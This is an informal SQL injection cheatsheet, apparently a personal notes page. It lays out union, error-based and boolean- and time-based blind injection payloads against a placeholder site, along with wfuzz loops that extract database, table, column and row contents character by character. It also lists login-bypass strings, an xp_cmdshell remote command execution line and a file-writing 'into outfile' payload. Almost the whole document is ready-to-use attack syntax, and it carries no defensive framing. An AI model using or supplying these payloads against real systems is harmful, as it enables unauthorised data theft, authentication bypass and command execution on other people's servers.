This cheatsheet should NOT be conbsiderd as reference but guide to built on, some of the examples below will require modification(s) such as url encode, comments, etc. Before we contiune here is couple good to know SQL functions
limit <row offset>,<number of rows> # display rows based on offset and number
count(*) # display number of rows
rand() # generate random number between 0 and 1
floor(rand()*<number>) # print out number part of random decimal number
select(select database()); # double query (nested) using database() as an example
group by <column name> # summerize rows based on column name
concat(<string1>, <string2>, ..) # concatenate strings such as tables, column names
length(<string>) # calculate the number of characters for given string
substr(<string>,<offset>,<characters length>) # print string character(s) by providing offset and length
ascii(<character>) # decimal representation of the character
sleep(<number of seconds>) # go to sleep for <number of seconds>
if(<condition>,<true action>,<false action>) # conditional if statement
like "<string>%" # checks if provided string present
outfile "<url to file>" # dump output of select statement into a file
load_file("<url to file>") # dump the content of file
Now comes the fun part, here's combination of error, union, blind SQL command injection examples.
Determine back-end query number of columns with error-based string SQL command injection
http://meh.com/index.php?id=1 order by <number>
Determine back-end query number of columns by observing http response size
with wfuzz
in error-based integer SQL command injection
wfuzz -c -z range,1-10 "http://meh.com/index.php?id=1 order by FUZZ"
Identify webpage printable union columns by providing false value to back-end query with error-based integer SQL command injection. This injection depends on number of columns identified by order by
clause
http://meh.com/index.php?id=-1 union select <number of columns seperated by comma>
Dump the content of table into the filesystem
http://meh.com/index.php?id=-1')) union select <column1>,<column2> from <table name> into outfile "<url to file>" --+
Print back-end SQL version with error-based integer SQL command injection, assuming column 3 content gets diplayed on webpage
http://meh.com/index.php?id=-1 union select 1,2,@@version,4,...
Print user running the query to access back-end database server with error-based integer SQL command injection
http://meh.com/index.php?id=-1 union select 1,2,user(),4,...
Print database name with error-based integer SQL command injection
http://meh.com/index.php?id=-1 union select 1,2,database(),4,...
Print database directory with error-based integer SQL command injection
http://meh.com/index.php?id=-1 union select 1,2,@@datadir,4,...
Print table names with error-based integer SQL command injection
http://meh.com/index.php?id=-1 union select 1,2,group_concat(table_name),4,... from information_schema.tables where table_schema=database()
Print column names with error-based integer SQL command injection
http://meh.com/index.php?id=-1 union select 1,2,group_concat(column_name),4,... from information_schema.columns where table_name='<table name>'
Print content of column with error-based integer SQL command injection
http://meh.com/index.php?id=-1 union select 1,2,group_concat(<column name>),4,... from <table name>
Use and
statement as substitute to reqular comments such as --+
, #
, and /* */
with error-based string SQL command injection
http://meh.com/index.php?id=1' <sqli here> and '1
Determine databsae name with boolean-based blind SQL injection with substr()
http://meh.com/index.php?id=1' and (substr(database(),<offset>,<character length>))='<character>' --+
Determine databsae name with boolean-based blind SQL injection by observing http response size
with combination of substr()
and wfuzz
, assuming database name does not include special characters
for i in $(seq 1 10); do wfuzz -c -z list,a-b-c-d-e-f-g-h-i-j-k-l-m-n-o-p-q-r-s-t-u-v-w-x-y-z --hw=<word count> "http://meh.com/index.php?id=1' and (substr(database(),$i,1))='FUZZ' --+";done
Determine databsae name with boolean-based blind SQL injection by observing http response size
with substr()
, ascii()
and wfuzz
. The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://meh.com/index.php?id=1' and (ascii(substr(database(),$i,1)))=FUZZ --+";done
Determine table name with boolean-based blind SQL injection by observing http response size
with substr()
, ascii()
, and wfuzz
.The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://meh.com/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),$i,1)))=FUZZ --+";done # increment limit first argument by 1 to get the next available table name
Determine column name with boolean blind-based SQL injection by observing http response size
with substr()
, ascii()
, and wfuzz
. The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://meh.com/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name=<table name> limit 0,1),$i,1)))=FUZZ --+";done # increment limit first argument by 1 to get the next available column name
Boolean-based blind SQL command injection demo
Confirm time-based blind SQL injection using sleep()
function
http://meh.com/index.php?id=1' and sleep(10) --+
Determine database version with time-based blind SQL injection using sleep()
, like""
, and conditional if
, assuming the back-end database is running version 5
http://meh.com/index.php?id=1' and if((select version()) like "5%", sleep(10), null) --+
Determine database name with time-based blind SQL injection by observing http response time
with substr()
, ascii()
, and wfuzz
.The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' and if((ascii(substr(database(),$i,1)))=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>
Determine table name with time-based blind SQL injection by observing http response time
with substr()
, ascii()
, if
, and wfuzz
.The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' and if((select ascii(substr(table_name,$i,1))from information_schema.tables where table_schema=database() limit 0,1)=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt> # increment limit first argument by 1 to get the next available table name
Determine column name with time-based blind SQL injection by observing http response time
with substr()
, ascii()
, if
, and wfuzz
.The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' and if((select ascii(substr(column_name,$i,1))from information_schema.columns where table_name='<table name>' limit 0,1)=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt> # increment limit first argument by 1 to get the next available column name
Extract column content with time-based blind SQL injection by observing http response time
with substr()
, ascii()
, if
, and wfuzz
.The below range is the standard ASCII characters (32-127)
for i in $(seq 1 10); do wfuzz -v -c -z range,0-10 -z range,32-127 "http://meh.com/index.php?id=1' and if(ascii(substr((select <column name> from <table name> limit FUZZ,1),$i,1))=FUZ2Z, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt> # change <column name> to get the content of next column
Time-based blind SQL command injection with bash magic demo
Hope those were helpfull! Now here's couple login bypass commands that worked for me
meh' OR 3=3;#
meh' OR 2=2 LIMIT 1;#
meh' OR 'a'='a
meh' OR 1=1 --+
Sometimes you'll run into Microsoft SQL server that have xp_cmdshell
turned on, here's syntax for remote code execution
meh' exec master..xp_cmdshell '<command here>' --
Final notes!
- If you made it this far then you know that most of the SQL command injection examples are based on
MySQL
and I don't plan on making any forMSSQL
cause I'm lazy - Use your proxy of choice to bypass client-side javascript restrictions
order by
clause works only with regular comments such as--+
- Update ASCII range to include special characters if you're going after users table
MySQL
don't have permissions to overwrite an exsisting file, make sure you go with new filename every single time withoutfile
.- Make sure the vulnerable paramater have false value when working with union-based SQL command injection
- It's worth noting that all of the examples in this cheatsheet where http
GET
requests, and it shouldn't be that hard to replicate them with httpPOST
requests once you grasp the core concepts. - You need to input true value to the vulnerable paramter for
and sleep()
to work, otherwise go withor sleep()
. Here's an example for the sake of clarification
http://meh.com/index.php?id=<true value>' and sleep(1) #
http://meh.com/index.php?id=<false value>' or sleep(1) #
To do list
- Python or bash script to convert ascii to text after data extraction (grep output in this case)
- Create outfile && loadfile templates